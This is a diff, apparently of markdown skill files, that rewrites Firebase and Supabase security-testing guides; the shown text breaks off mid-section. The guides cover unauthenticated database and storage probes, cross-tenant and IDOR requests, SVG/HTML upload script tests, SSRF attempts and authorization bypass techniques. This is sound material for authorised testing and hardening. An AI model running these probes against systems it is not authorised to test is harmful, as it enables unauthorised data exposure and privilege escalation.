|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
|
**Data Stores**
|
||||||
- Firestore (documents/collections, rules, REST/SDK)
|
- Firestore (documents/collections, rules, REST/SDK)
|
||||||
- Realtime Database (JSON tree, rules)
|
- Realtime Database (JSON tree, rules)
|
||||||
- Cloud Storage (rules, signed URLs)
|
- Cloud Storage (rules, signed URLs)
|
||||||
- Auth (ID tokens, custom claims, anonymous/sign-in providers)
|
|
||||||
|
**Authentication**
|
||||||
|
- Auth ID tokens, custom claims, anonymous/sign-in providers
|
||||||
|
- App Check attestation (and its limits)
|
||||||
|
|
||||||
|
**Server-Side**
|
||||||
- Cloud Functions (onCall/onRequest, triggers)
|
- Cloud Functions (onCall/onRequest, triggers)
|
||||||
|
- Admin SDK (bypasses rules)
|
||||||
|
|
||||||
|
**Infrastructure**
|
||||||
- Hosting rewrites, CDN/caching, CORS
|
- Hosting rewrites, CDN/caching, CORS
|
||||||
- App Check (attestation) and its limits
|
|
||||||
|
|
||||||
## Methodology
|
|
||||||
|
|
||||||
1. Extract project config from client (apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId). Identify all used Firebase products.
|
|
||||||
2. Obtain multiple principals: unauth, anonymous (if enabled), basic user A, user B, and any staff/admin if available. Capture their ID tokens.
|
|
||||||
3. Build Resource × Action × Principal matrix across Firestore/Realtime/Storage/Functions. Exercise every action via SDK and raw REST (googleapis) to detect parity gaps.
|
|
||||||
4. Start from list/query paths (where allowed) to seed IDs; then swap document paths, tenants, and user IDs across principals and transports.
|
|
||||||
|
|
||||||
## Architecture
|
## Architecture
|
||||||
|
|
||||||
- Firestore REST: https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>
|
**Endpoints**
|
||||||
- Storage REST: https://storage.googleapis.com/storage/v1/b/<bucket>
|
- Firestore REST: `https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>`
|
||||||
- Auth: Google-signed ID tokens (iss accounts.google.com/securetoken.google.com/<project>), aud <project/app-id>; identity is in sub/uid.
|
- Realtime DB: `https://<project>.firebaseio.com/.json`
|
||||||
- Rules engines: separate for Firestore, Realtime DB, and Storage; Functions bypass rules when using Admin SDK.
|
- Storage REST: `https://storage.googleapis.com/storage/v1/b/<bucket>`
|
||||||
|
|
||||||
## Auth And Tokens
|
**Auth**
|
||||||
|
- Google-signed ID tokens (iss: `accounts.google.com` or `securetoken.google.com/<project>`)
|
||||||
|
- Audience: `<project>` or `<app-id>`, identity in `sub`/`uid`
|
||||||
|
- Rules engines: separate for Firestore, Realtime DB, and Storage
|
||||||
|
- Functions bypass rules when using Admin SDK
|
||||||
|
|
||||||
- ID token verification must enforce issuer, audience (project), signature (Google JWKS), expiration, and optionally App Check binding when used.
|
## High-Value Targets
|
||||||
- Custom claims are appended by Admin SDK; client-supplied claims are ignored by Auth but may be trusted by app code if copied into docs.
|
|
||||||
- Pitfalls:
|
|
||||||
- Accepting any JWT with valid signature but wrong audience/project.
|
|
||||||
- Trusting uid/account IDs from request body instead of context.auth.uid in Functions.
|
|
||||||
- Mixing session cookies and ID tokens without verifying both paths equivalently.
|
|
||||||
- Tests:
|
|
||||||
- Replay tokens across environments/projects; expect strict aud/iss rejection server-side.
|
|
||||||
- Call Functions with and without Authorization; verify identical checks on both onCall and onRequest variants.
|
|
||||||
|
|
||||||
## Firestore Rules
|
- Firestore collections with sensitive data (users, orders, payments)
|
||||||
|
- Realtime Database root and high-level nodes
|
||||||
|
- Cloud Storage buckets with private files
|
||||||
|
- Cloud Functions (especially triggers that grant roles or issue signed URLs)
|
||||||
|
- Admin/staff routes and privilege-granting endpoints
|
||||||
|
- Export/report functions that generate signed outputs
|
||||||
|
|
||||||
- Rules are not filters: a query must include constraints that make the rule true for all returned documents; otherwise reads fail. Do not rely on client to include where clauses correctly.
|
## Reconnaissance
|
||||||
- Prefer ownership derived from request.auth.uid and server data, not from client payload fields.
|
|
||||||
- Common gaps:
|
|
||||||
- allow read: if request.auth != null (any user reads all data)
|
|
||||||
- allow write: if request.auth != null (mass write)
|
|
||||||
- Missing per-field validation (adds isAdmin/role/tenantId fields).
|
|
||||||
- Using client-supplied ownerId/orgId instead of enforcing doc.ownerId == request.auth.uid or membership in org.
|
|
||||||
- Over-broad list rules on root collections; per-doc checks exist but list still leaks via queries.
|
|
||||||
- Validation patterns:
|
|
||||||
- Restrict writes: request.resource.data.keys().hasOnly([...]) and forbid privilege fields.
|
|
||||||
- Enforce ownership: resource.data.ownerId == request.auth.uid && request.resource.data.ownerId == request.auth.uid
|
|
||||||
- Org membership: exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))
|
|
||||||
- Tests:
|
|
||||||
- Compare results for users A/B on identical queries; diff counts and IDs.
|
|
||||||
- Attempt cross-tenant reads: where orgId == otherOrg; try queries without org filter to confirm denial.
|
|
||||||
- Write-path: set/patch with foreign ownerId/orgId; attempt to flip privilege flags.
|
|
||||||
|
|
||||||
## Firestore Queries
|
**Extract Project Config**
|
||||||
|
|
||||||
- Enumerate via REST to avoid SDK client-side constraints; try structured and REST filters.
|
From client bundle:
|
||||||
- Probe composite index requirements: UI-driven queries may hide missing rule coverage when indexes are enabled but rules are broad.
|
```javascript
|
||||||
- Explore collection group queries (collectionGroup) that may bypass per-collection rules if not mirrored.
|
// apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId
|
||||||
- Use startAt/endAt/in/array-contains to probe rule edges and pagination cursors for cross-tenant bleed.
|
firebase.apps[0].options
|
||||||
|
```
|
||||||
|
|
||||||
## Realtime Database
|
**Obtain Principals**
|
||||||
|
- Unauthenticated
|
||||||
|
- Anonymous (if enabled)
|
||||||
|
- Basic user A, user B
|
||||||
|
- Staff/admin (if available)
|
||||||
|
|
||||||
- Misconfigured rules frequently expose entire JSON trees. Probe https://<project>.firebaseio.com/.json with and without auth.
|
Capture ID tokens for each.
|
||||||
- Confirm rules for read/write use auth.uid and granular path checks; avoid .read/.write: true or auth != null at high-level nodes.
|
|
||||||
- Attempt to write privilege-bearing nodes (roles, org membership) and observe downstream effects (e.g., Cloud Functions triggers).
|
|
||||||
|
|
||||||
## Cloud Storage
|
## Key Vulnerabilities
|
||||||
|
|
||||||
- Rules parallel Firestore but apply to object paths. Common issues:
|
### Firestore Rules
|
||||||
- Public reads on sensitive buckets/paths.
|
|
||||||
- Signed URLs with long TTL, no content-disposition controls; replayable across tenants.
|
|
||||||
- List operations exposed: /o?prefix= enumerates object keys.
|
|
||||||
- Tests:
|
|
||||||
- GET gs:// paths via https endpoints without auth; verify content-type and Content-Disposition: attachment.
|
|
||||||
- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants.
|
|
||||||
- Upload HTML/SVG and verify X-Content-Type-Options: nosniff; check for script execution.
|
|
||||||
|
|
||||||
## Cloud Functions
|
Rules are not filters—a query must include constraints that make the rule true for all returned documents.
|
||||||
|
|
||||||
- onCall provides context.auth automatically; onRequest must verify ID tokens explicitly. Admin SDK bypasses rules; all ownership/tenant checks must be enforced in code.
|
**Common Gaps**
|
||||||
- Common gaps:
|
- `allow read: if request.auth != null` — any authenticated user reads all data
|
||||||
- Trusting client uid/orgId from request body instead of context.auth.
|
- `allow write: if request.auth != null` — mass write access
|
||||||
- Missing aud/iss verification when manually parsing tokens.
|
- Missing per-field validation (allows adding `isAdmin`/`role`/`tenantId` fields)
|
||||||
- Over-broad CORS allowing credentialed cross-origin requests; echoing Authorization in responses.
|
- Using client-supplied `ownerId`/`orgId` instead of `resource.data.ownerId == request.auth.uid`
|
||||||
- Triggers (onCreate/onWrite) granting roles or issuing signed URLs solely based on document content controlled by the client.
|
- Over-broad list rules on root collections (per-doc checks exist but list still leaks)
|
||||||
- Tests:
|
|
||||||
- Call both onCall and equivalent onRequest endpoints with varied tokens and bodies; expect identical decisions.
|
|
||||||
- Create crafted docs to trigger privilege-granting functions; verify that server re-derives subject/tenant before acting.
|
|
||||||
- Attempt internal fetches (SSRF) via Functions to project/metadata endpoints.
|
|
||||||
|
|
||||||
## App Check
|
**Secure Patterns**
|
||||||
|
```javascript
|
||||||
|
// Restrict write fields
|
||||||
|
request.resource.data.keys().hasOnly(['field1', 'field2', 'field3'])
|
||||||
|
|
||||||
- App Check is not a substitute for authorization. Many apps enable App Check enforcement on client SDKs but do not verify on custom backends.
|
// Enforce ownership
|
||||||
- Bypasses:
|
resource.data.ownerId == request.auth.uid &&
|
||||||
- Unenforced paths: REST calls directly to googleapis endpoints with ID token succeed regardless of App Check.
|
request.resource.data.ownerId == request.auth.uid
|
||||||
- Mobile reverse engineering: hook client and reuse ID token flows without attestation.
|
|
||||||
- Tests:
|
|
||||||
- Compare SDK vs REST behavior with/without App Check headers; confirm no elevated authorization via App Check alone.
|
|
||||||
|
|
||||||
## Tenant Isolation
|
// Org membership check
|
||||||
|
exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))
|
||||||
|
```
|
||||||
|
|
||||||
- Apps often implement multi-tenant data models (orgs/<orgId>/...). Bind tenant from server context (membership doc or custom claim), not from client payload.
|
**Tests**
|
||||||
- Tests:
|
- Compare results for users A/B on identical queries; diff counts and IDs
|
||||||
- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access.
|
- Cross-tenant reads: `where orgId == otherOrg`; try queries without org filter
|
||||||
- Export/report Functions: ensure queries execute under caller scope; signed outputs must encode tenant and short TTL.
|
- Write-path: set/patch with foreign `ownerId`/`orgId`; attempt to flip privilege flags
|
||||||
|
|
||||||
|
### Firestore Queries
|
||||||
|
|
||||||
|
- Use REST to avoid SDK client-side constraints
|
||||||
|
- Probe composite index requirements (UI-driven queries may hide missing rule coverage)
|
||||||
|
- Explore `collectionGroup` queries that may bypass per-collection rules
|
||||||
|
- Use `startAt`/`endAt`/`in`/`array-contains` to probe rule edges and pagination cursors
|
||||||
|
|
||||||
|
### Realtime Database
|
||||||
|
|
||||||
|
- Misconfigured rules frequently expose entire JSON trees
|
||||||
|
- Probe `https://<project>.firebaseio.com/.json` with and without auth
|
||||||
|
- Confirm rules use `auth.uid` and granular path checks
|
||||||
|
- Avoid `.read/.write: true` or `auth != null` at high-level nodes
|
||||||
|
- Attempt to write privilege-bearing nodes (roles, org membership)
|
||||||
|
|
||||||
|
### Cloud Storage
|
||||||
|
|
||||||
|
**Common Issues**
|
||||||
|
- Public reads on sensitive buckets/paths
|
||||||
|
- Signed URLs with long TTL, no content-disposition controls, replayable across tenants
|
||||||
|
- List operations exposed: `/o?prefix=` enumerates object keys
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- GET gs:// paths via HTTPS without auth; verify Content-Type and `Content-Disposition: attachment`
|
||||||
|
- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants
|
||||||
|
- Upload HTML/SVG and verify `X-Content-Type-Options: nosniff`; check for script execution
|
||||||
|
|
||||||
|
### Cloud Functions
|
||||||
|
|
||||||
|
`onCall` provides `context.auth` automatically; `onRequest` must verify ID tokens explicitly. Admin SDK bypasses rules—all ownership/tenant checks must be in code.
|
||||||
|
|
||||||
|
**Common Gaps**
|
||||||
|
- Trusting client `uid`/`orgId` from request body instead of `context.auth`
|
||||||
|
- Missing `aud`/`iss` verification when manually parsing tokens
|
||||||
|
- Over-broad CORS allowing credentialed cross-origin requests
|
||||||
|
- Triggers (onCreate/onWrite) granting roles based on document content controlled by client
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Call both onCall and onRequest endpoints with varied tokens; expect identical decisions
|
||||||
|
- Create crafted docs to trigger privilege-granting functions
|
||||||
|
- Attempt SSRF via Functions to project/metadata endpoints
|
||||||
|
|
||||||
|
### Auth & Token Issues
|
||||||
|
|
||||||
|
**Verification Requirements**
|
||||||
|
- Issuer, audience (project), signature (Google JWKS), expiration
|
||||||
|
- Optionally App Check binding when used
|
||||||
|
|
||||||
|
**Pitfalls**
|
||||||
|
- Accepting any JWT with valid signature but wrong audience/project
|
||||||
|
- Trusting `uid`/account IDs from request body instead of `context.auth.uid`
|
||||||
|
- Mixing session cookies and ID tokens without verifying both paths equivalently
|
||||||
|
- Custom claims copied into docs then trusted by app code
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Replay tokens across environments/projects; expect strict `aud`/`iss` rejection
|
||||||
|
- Call Functions with and without Authorization; verify identical checks
|
||||||
|
|
||||||
|
### App Check
|
||||||
|
|
||||||
|
App Check is not a substitute for authorization.
|
||||||
|
|
||||||
|
**Bypasses**
|
||||||
|
- REST calls directly to googleapis endpoints with ID token succeed regardless of App Check
|
||||||
|
- Mobile reverse engineering: hook client and reuse ID token flows without attestation
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Compare SDK vs REST behavior with/without App Check headers
|
||||||
|
- Confirm no elevated authorization via App Check alone
|
||||||
|
|
||||||
|
### Tenant Isolation
|
||||||
|
|
||||||
|
Apps often implement multi-tenant data models (`orgs/<orgId>/...`). Bind tenant from server context (membership doc or custom claim), not client payload.
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access
|
||||||
|
- Export/report Functions: ensure queries execute under caller scope
|
||||||
|
|
||||||
## Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest Functions.
|
- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest
|
||||||
- Parameter/field pollution: duplicate JSON keys; last-one-wins in many parsers; attempt to sneak privilege fields.
|
- Parameter/field pollution: duplicate JSON keys (last-one-wins in many parsers); sneak privilege fields
|
||||||
- Caching/CDN: Hosting rewrites or proxies that key responses without Authorization or tenant headers.
|
- Caching/CDN: Hosting rewrites keying responses without Authorization or tenant headers
|
||||||
- Race windows: write then read before background enforcements (e.g., post-write claim synchronizations) complete.
|
- Race windows: write then read before background enforcements complete
|
||||||
|
|
||||||
## Blind Channels
|
## Blind Enumeration
|
||||||
|
|
||||||
- Firestore: use error shape, document count, and ETag/length to infer existence under partial denial.
|
- Firestore: use error shape, document count, ETag/length to infer existence
|
||||||
- Storage: length/timing differences on signed URL attempts leak validity.
|
- Storage: length/timing differences on signed URL attempts leak validity
|
||||||
- Functions: constant-time comparisons vs variable messages reveal authorization branches.
|
- Functions: constant-time comparisons vs variable messages reveal authorization branches
|
||||||
|
|
||||||
## Tooling And Automation
|
## Testing Methodology
|
||||||
|
|
||||||
- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration.
|
1. **Extract config** - Get project config from client bundle
|
||||||
- Mobile: apktool/objection/frida to extract config and hook SDK calls; inspect network logs for endpoints and tokens.
|
2. **Obtain principals** - Collect tokens for unauth, anonymous, user A/B, admin
|
||||||
- Rules analysis: script rule probes for common patterns (auth != null, missing field validation, list vs get parity).
|
3. **Build matrix** - Resource × Action × Principal across Firestore/Realtime/Storage/Functions
|
||||||
- Functions: fuzz onRequest endpoints with varied content-types and missing/forged Authorization; verify CORS and token handling.
|
4. **SDK vs REST** - Exercise every action via both to detect parity gaps
|
||||||
- Storage: enumerate prefixes; test signed URL generation and reuse patterns.
|
5. **Seed IDs** - Start from list/query paths to gather document IDs
|
||||||
|
6. **Cross-principal** - Swap document paths, tenants, and user IDs across principals
|
||||||
|
|
||||||
## Reviewer Checklist
|
## Tooling
|
||||||
|
|
||||||
- Do Firestore/Realtime/Storage rules derive subject and tenant from auth, not client fields?
|
- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration
|
||||||
- Are list/query rules aligned with per-doc checks (no broad list leaks)?
|
- Rules analysis: script probes for common patterns (`auth != null`, missing field validation)
|
||||||
- Are privilege-bearing fields immutable or server-only (forbidden in writes)?
|
- Functions: fuzz onRequest with varied content-types and missing/forged Authorization
|
||||||
- Do Functions verify ID tokens (iss/aud/exp/signature) and re-derive identity before acting?
|
- Storage: enumerate prefixes; test signed URL generation and reuse patterns
|
||||||
- Are Admin SDK operations scoped by server-side checks (ownership/tenant)?
|
|
||||||
- Is App Check treated as advisory, not authorization, across all paths?
|
|
||||||
- Are Hosting/CDN cache keys bound to Authorization/tenant to prevent leaks?
|
|
||||||
|
|
||||||
## Validation
|
## Validation Requirements
|
||||||
|
|
||||||
1. Provide owner vs non-owner Firestore queries showing unauthorized access or metadata leak.
|
- Owner vs non-owner Firestore queries showing unauthorized access or metadata leak
|
||||||
2. Demonstrate Cloud Storage read/write beyond intended scope (public object, signed URL reuse, or list exposure).
|
- Cloud Storage read/write beyond intended scope (public object, signed URL reuse, list exposure)
|
||||||
3. Show a Function accepting forged/foreign identity (wrong aud/iss) or trusting client uid/orgId.
|
- Function accepting forged/foreign identity (wrong `aud`/`iss`) or trusting client `uid`/`orgId`
|
||||||
4. Document minimal reproducible requests with roles/tokens used and observed deltas.
|
- Minimal reproducible requests with roles/tokens used and observed deltas
|
||||||
|
|
||||||
## False Positives
|
|
||||||
|
|
||||||
- Public collections/objects documented and intended.
|
|
||||||
- Rules that correctly enforce per-doc checks with matching query constraints.
|
|
||||||
- Functions verifying tokens and ignoring client-supplied identifiers.
|
|
||||||
- App Check enforced but not relied upon for authorization.
|
|
||||||
|
|
||||||
## Impact
|
|
||||||
|
|
||||||
- Cross-account and cross-tenant data exposure.
|
|
||||||
- Unauthorized state changes via Functions or direct writes.
|
|
||||||
- Exfiltration of PII/PHI and private files from Storage.
|
|
||||||
- Durable privilege escalation via misused custom claims or triggers.
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Treat apiKey as project identifier only; identity must come from verified ID tokens.
|
|
||||||
2. Start from rules: read them, then prove gaps with diffed owner/non-owner requests.
|
|
||||||
3. Prefer REST for parity checks; SDKs can mask errors via client-side filters.
|
|
||||||
4. Hunt privilege fields in docs and forbid them via rules; verify immutability.
|
|
||||||
5. Probe collectionGroup queries and list rules; many leaks live there.
|
|
||||||
6. Functions are the authority boundary—enforce subject/tenant there even if rules exist.
|
|
||||||
7. Keep concise PoCs: one owner vs non-owner request per surface that clearly demonstrates the unauthorized delta.
|
|
||||||
|
|
||||||
## Remember
|
|
||||||
|
|
||||||
Authorization must hold at every layer: rules, Functions, and Storage. Bind subject and tenant from verified tokens and server data, never from client payload or UI assumptions. Any gap becomes a cross-account or cross-tenant vulnerability.
|
|
||||||
|
|||||||
@@ -1,191 +1,268 @@
|
|||||||
# SUPABASE — ADVERSARIAL TESTING AND EXPLOITATION
|
---
|
||||||
|
name: supabase
|
||||||
|
description: Supabase security testing covering Row Level Security, PostgREST, Edge Functions, and service key exposure
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Supabase
|
||||||
|
|
||||||
Supabase exposes Postgres through PostgREST, Realtime, GraphQL, Storage, Auth (GoTrue), and Edge Functions. Most impactful findings come from mis-scoped Row Level Security (RLS), unsafe RPCs, leaked service_role keys, lax Storage policies, GraphQL overfetching, and Edge Functions trusting headers or tokens without binding to issuer/audience/tenant.
|
Security testing for Supabase applications. Focus on mis-scoped Row Level Security (RLS), unsafe RPCs, leaked `service_role` keys, lax Storage policies, and Edge Functions trusting headers without binding to issuer/audience/tenant.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
|
**Data Access**
|
||||||
- PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
|
- PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
|
||||||
- RLS: row ownership/tenant isolation via policies and auth.uid()
|
|
||||||
- Storage: buckets, objects, signed URLs, public/private policies
|
|
||||||
- Realtime: replication subscriptions, broadcast/presence channels
|
|
||||||
- GraphQL: pg_graphql over Postgres schema with RLS interaction
|
- GraphQL: pg_graphql over Postgres schema with RLS interaction
|
||||||
|
- Realtime: replication subscriptions, broadcast/presence channels
|
||||||
|
|
||||||
|
**Storage**
|
||||||
|
- Buckets, objects, signed URLs, public/private policies
|
||||||
|
|
||||||
|
**Authentication**
|
||||||
- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
|
- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
|
||||||
|
|
||||||
|
**Server-Side**
|
||||||
- Edge Functions (Deno): server-side code calling Supabase with secrets
|
- Edge Functions (Deno): server-side code calling Supabase with secrets
|
||||||
|
|
||||||
## Methodology
|
|
||||||
|
|
||||||
1. Inventory surfaces: REST /rest/v1, Storage /storage/v1, GraphQL /graphql/v1, Realtime wss, Auth /auth/v1, Functions https://<project>.functions.supabase.co/.
|
|
||||||
2. Obtain tokens for: unauth (anon), basic user, other user, and (if disclosed) admin/staff; enumerate anon key exposure and verify if service_role leaked anywhere.
|
|
||||||
3. Build a Resource × Action × Principal matrix and test each via REST and GraphQL. Confirm parity across channels and content-types (json/form/multipart).
|
|
||||||
4. Start with list/search/export endpoints to gather IDs, then attempt direct reads/writes across principals, tenants, and transports. Validate RLS and function guards.
|
|
||||||
|
|
||||||
## Architecture
|
## Architecture
|
||||||
|
|
||||||
- Project endpoints: https://<ref>.supabase.co; REST at /rest/v1/<table>, RPC at /rest/v1/rpc/<fn>.
|
**Endpoints**
|
||||||
- Headers: apikey: <anon-or-service>, Authorization: Bearer <JWT>. Anon key only identifies the project; JWT binds user context.
|
- REST: `https://<ref>.supabase.co/rest/v1/<table>`
|
||||||
- Roles: anon, authenticated; service_role bypasses RLS and must never be client-exposed.
|
- RPC: `https://<ref>.supabase.co/rest/v1/rpc/<fn>`
|
||||||
- auth.uid(): current user UUID claim; policies must never trust client-supplied IDs over server context.
|
- Storage: `https://<ref>.supabase.co/storage/v1`
|
||||||
|
- GraphQL: `https://<ref>.supabase.co/graphql/v1`
|
||||||
|
- Realtime: `wss://<ref>.supabase.co/realtime/v1`
|
||||||
|
- Auth: `https://<ref>.supabase.co/auth/v1`
|
||||||
|
- Functions: `https://<ref>.functions.supabase.co/`
|
||||||
|
|
||||||
## Rls
|
**Headers**
|
||||||
|
- `apikey: <anon-or-service>` — identifies project
|
||||||
|
- `Authorization: Bearer <JWT>` — binds user context
|
||||||
|
|
||||||
- Enable RLS on every non-public table; absence or “permit-all” policies → bulk exposure.
|
**Roles**
|
||||||
- Common gaps:
|
- `anon`, `authenticated` — standard roles
|
||||||
- Policies check auth.uid() for read but forget UPDATE/DELETE/INSERT.
|
- `service_role` — bypasses RLS, must never be client-exposed
|
||||||
- Missing tenant constraints (org_id/tenant_id) allow cross-tenant reads/writes.
|
|
||||||
- Policies rely on client-provided columns (user_id in payload) instead of deriving from JWT.
|
|
||||||
- Complex joins where the effective policy is applied after filters, enabling inference via counts or projections.
|
|
||||||
- Tests:
|
|
||||||
- Compare results for two users: GET /rest/v1/<table>?select=*&Prefer=count=exact; diff row counts and IDs.
|
|
||||||
- Try cross-tenant: add &org_id=eq.<other_org> or use or=(org_id.eq.other,org_id.is.null).
|
|
||||||
- Write-path: PATCH/DELETE single row with foreign id; INSERT with foreign owner_id then read.
|
|
||||||
|
|
||||||
## Postgrest And Rest
|
**Key Principle**
|
||||||
|
`auth.uid()` returns current user UUID from JWT. Policies must never trust client-supplied IDs over server context.
|
||||||
|
|
||||||
- Filters: eq, neq, lt, gt, ilike, or, is, in; embed relations with select=*,profile(*); exploit embeddings to overfetch linked rows if resolvers skip per-row checks.
|
## High-Value Targets
|
||||||
- Headers to know: Prefer: return=representation (echo writes), Prefer: count=exact (exposure via counts), Accept-Profile/Content-Profile to select schema.
|
|
||||||
- IDOR patterns: /rest/v1/<table>?select=*&id=eq.<other_id>; query alternative keys (slug, email) and composite keys.
|
|
||||||
- Search leaks: generous LIKE/ILIKE filters + lack of RLS → mass disclosure.
|
|
||||||
- Mass assignment: if RPC not used, PATCH can update unintended columns; verify restricted columns via database permissions/policies.
|
|
||||||
|
|
||||||
## Rpc Functions
|
- Tables with sensitive data (users, orders, payments, PII)
|
||||||
|
- RPC functions (especially `SECURITY DEFINER`)
|
||||||
|
- Storage buckets with private files
|
||||||
|
- Edge Functions with `service_role` access
|
||||||
|
- Export/report endpoints generating signed outputs
|
||||||
|
- Admin/staff routes and privilege-granting endpoints
|
||||||
|
|
||||||
- RPC endpoints map to SQL functions. SECURITY DEFINER bypasses RLS unless carefully coded; SECURITY INVOKER respects caller.
|
## Reconnaissance
|
||||||
- Anti-patterns:
|
|
||||||
- SECURITY DEFINER + missing owner checks → vertical/horizontal bypass.
|
|
||||||
- set search_path left to public; function resolves unsafe objects.
|
|
||||||
- Trusting client-supplied user_id/tenant_id rather than auth.uid().
|
|
||||||
- Tests:
|
|
||||||
- Call /rest/v1/rpc/<fn> as different users with foreign ids in body.
|
|
||||||
- Remove or alter JWT entirely (Authorization: Bearer <anon>) to see if function still executes.
|
|
||||||
- Validate that functions perform explicit ownership/tenant checks inside SQL, not only in docs.
|
|
||||||
|
|
||||||
## Storage
|
**Enumerate Surfaces**
|
||||||
|
```
|
||||||
|
/rest/v1/<table>
|
||||||
|
/rest/v1/rpc/<fn>
|
||||||
|
/storage/v1/object/public/<bucket>/
|
||||||
|
/storage/v1/object/list/<bucket>?prefix=
|
||||||
|
/graphql/v1
|
||||||
|
/auth/v1
|
||||||
|
```
|
||||||
|
|
||||||
- Buckets: public vs private; objects live in storage.objects with RLS-like policies.
|
**Obtain Principals**
|
||||||
- Find misconfigs:
|
- Unauthenticated (anon key only)
|
||||||
- Public buckets holding sensitive data: GET https://<ref>.supabase.co/storage/v1/object/public/<bucket>/<path>
|
- Basic user A, user B
|
||||||
- Signed URLs with long TTL and no audience binding; reuse/guess tokens across tenants/paths.
|
- Admin/staff (if available)
|
||||||
- Listing prefixes without auth: /storage/v1/object/list/<bucket>?prefix=
|
- Check if `service_role` key leaked in client bundle or Edge Function responses
|
||||||
- Path confusion: mixed case, URL-encoding, “..” segments rejected at UI but accepted by API.
|
|
||||||
- Abuse vectors:
|
|
||||||
- Content-type/XSS: upload HTML/SVG served as text/html or image/svg+xml; confirm X-Content-Type-Options: nosniff and Content-Disposition: attachment.
|
|
||||||
- Signed URL replay across accounts/buckets if validation is lax.
|
|
||||||
|
|
||||||
## Realtime
|
## Key Vulnerabilities
|
||||||
|
|
||||||
- Endpoint: wss://<ref>.supabase.co/realtime/v1. Join channels with apikey + Authorization.
|
### Row Level Security (RLS)
|
||||||
- Risks:
|
|
||||||
- Channel names derived from table/schema/filters leaking other users’ updates when RLS or channel guards are weak.
|
|
||||||
- Broadcast/presence channels allowing cross-room join/publish without auth checks.
|
|
||||||
- Tests:
|
|
||||||
- Subscribe to public:realtime changes on protected tables; confirm row data visibility aligns with RLS.
|
|
||||||
- Attempt joining other users’ presence/broadcast channels (e.g., room:<user_id>, org:<id>).
|
|
||||||
|
|
||||||
## Graphql
|
Enable RLS on every non-public table; absence or "permit-all" policies → bulk exposure.
|
||||||
|
|
||||||
- Endpoint: /graphql/v1 using pg_graphql with RLS. Risks:
|
**Common Gaps**
|
||||||
- Introspection reveals schema relations; ensure it’s intentional.
|
- Policies check `auth.uid()` for SELECT but forget UPDATE/DELETE/INSERT
|
||||||
- Overfetch via nested relations where field resolvers fail to re-check ownership/tenant.
|
- Missing tenant constraints (`org_id`/`tenant_id`) allow cross-tenant access
|
||||||
- Global node IDs (if implemented) leaked and reusable via different viewers.
|
- Policies rely on client-provided columns (`user_id` in payload) instead of JWT
|
||||||
- Tests:
|
- Complex joins where policy is applied after filters, enabling inference via counts
|
||||||
- Compare REST vs GraphQL responses for the same principal and query shape.
|
|
||||||
- Query deep nested fields and connections; verify RLS holds at each edge.
|
|
||||||
|
|
||||||
## Auth And Tokens
|
**Tests**
|
||||||
|
```bash
|
||||||
|
# Compare row counts for two users
|
||||||
|
GET /rest/v1/<table>?select=*&Prefer=count=exact
|
||||||
|
|
||||||
- GoTrue issues JWTs with claims (sub=uid, role, aud=authenticated). Validate on server: issuer, audience, exp, signature, and tenant context.
|
# Cross-tenant probe
|
||||||
- Pitfalls:
|
GET /rest/v1/<table>?org_id=eq.<other_org>
|
||||||
- Storing tokens in localStorage → XSS exfiltration; refresh mismanagement leading to long-lived sessions.
|
GET /rest/v1/<table>?or=(org_id.eq.other,org_id.is.null)
|
||||||
- Treating apikey as identity; it is project-scoped, not user identity.
|
|
||||||
- Exposing service_role key in client bundle or Edge Function responses.
|
|
||||||
- Tests:
|
|
||||||
- Replay tokens across services; check audience/issuer pinning.
|
|
||||||
- Try downgraded tokens (expired/other audience) against custom endpoints.
|
|
||||||
|
|
||||||
## Edge Functions
|
# Write-path
|
||||||
|
PATCH /rest/v1/<table>?id=eq.<foreign_id>
|
||||||
|
DELETE /rest/v1/<table>?id=eq.<foreign_id>
|
||||||
|
POST /rest/v1/<table> with foreign owner_id
|
||||||
|
```
|
||||||
|
|
||||||
- Deno-based functions often initialize server-side Supabase client with service_role. Risks:
|
### PostgREST & REST
|
||||||
- Trusting Authorization/apikey headers without verifying JWT against issuer/audience.
|
|
||||||
- CORS: wildcard origins with credentials; reflected Authorization in responses.
|
|
||||||
- SSRF via fetch; secrets exposed via error traces or logs.
|
|
||||||
- Tests:
|
|
||||||
- Call functions with and without Authorization; compare behavior.
|
|
||||||
- Try foreign resource IDs in function payloads; verify server re-derives user/tenant from JWT.
|
|
||||||
- Attempt to reach internal endpoints (metadata services, project endpoints) via function fetch.
|
|
||||||
|
|
||||||
## Tenant Isolation
|
**Filters**
|
||||||
|
- `eq`, `neq`, `lt`, `gt`, `ilike`, `or`, `is`, `in`
|
||||||
|
- Embed relations: `select=*,profile(*)`—exploits overfetch if resolvers skip per-row checks
|
||||||
|
- Search leaks: generous `LIKE`/`ILIKE` filters combined with missing RLS → mass disclosure via wildcard queries
|
||||||
|
|
||||||
- Ensure every query joins or filters by tenant_id/org_id derived from JWT context, not client input.
|
**Headers**
|
||||||
- Tests:
|
